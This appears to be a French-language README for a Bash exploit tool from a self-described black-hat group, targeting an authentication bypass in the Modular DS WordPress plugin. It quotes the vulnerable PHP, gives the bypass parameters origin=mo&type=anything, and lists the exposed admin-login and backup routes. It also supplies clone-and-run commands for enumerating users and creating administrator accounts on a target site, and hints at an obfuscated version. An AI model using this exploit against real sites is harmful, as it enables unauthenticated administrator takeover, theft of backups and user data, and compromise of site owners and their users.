
Script Bash pour l'énumération des utilisateurs WordPress et la création automatisée de comptes administrateur, exploitant CVE-2026-23550 pour contourner l'authentification et réaliser une prise de contrôle administrateur non authentifiée.
ID CVE : CVE-2026-23550 Score CVSS : 10.0 (CRITIQUE) Plugin concerné : Plugin WordPress Modular DS Versions concernées : Toutes les versions jusqu'à 2.5.1 incluse Version corrigée : 2.5.2 (publiée le 14 janvier 2026) Exploitation active : Confirmée dans la nature depuis le 13 janvier 2026
Ce plugin expose ses routes API sous le préfixe /api/modular-connector/.
Ces routes sont regroupées derrière un middleware d'authentification dans RouteServiceProvider.php.
Cependant, l'authentification peut être contournée en utilisant la méthode défectueuse isDirectRequest().
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
La méthode de contournement est très triviale : il suffit d'inclure les paramètres origin=mo&type=anything dans la requête. Aucune vérification de signature, de secret, d'IP ou de User-Agent obligatoire n'est effectuée – ces paramètres seuls suffisent à faire considérer la requête comme une requête directe Modular
Une fois la requête considérée comme « directe », le middleware d'authentification dans ModularGuard.php vérifie uniquement si le site est connecté à Modular via validateOrRenewAccessToken(). Il n'existe aucun lien cryptographique entre la requête entrante et Modular lui-même.
Routes exposées Avec l'authentification contournée avec succès, un attaquant peut accéder à :
/login/{modular_request} – connexion à distance (accès admin)
/server-information – données système sensibles
/users/{modular_request} – énumération des utilisateurs
/backup/* – sauvegardes du site
/cache/clear – vidage du cache
/manager/* – fonctions de gestion
/woocommerce/{modular_request} – statistiques WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Si aucun ID utilisateur n'est présent dans le corps de la requête, le code recherche n'importe quel admin existant (getAdminUser()) et se connecte directement.
Auteur : (Dedsec Team) Description : Un puissant script bash pour l'énumération des utilisateurs WordPress et la création automatisée de comptes administrateurs. Conçu à des fins éducatives et pour des tests de sécurité autorisés uniquement.
/?author=1, /?author=2, etc.)curl (pour les requêtes HTTP)base64 (si vous utilisez la version obscurcie, héhé)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <url_cible>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d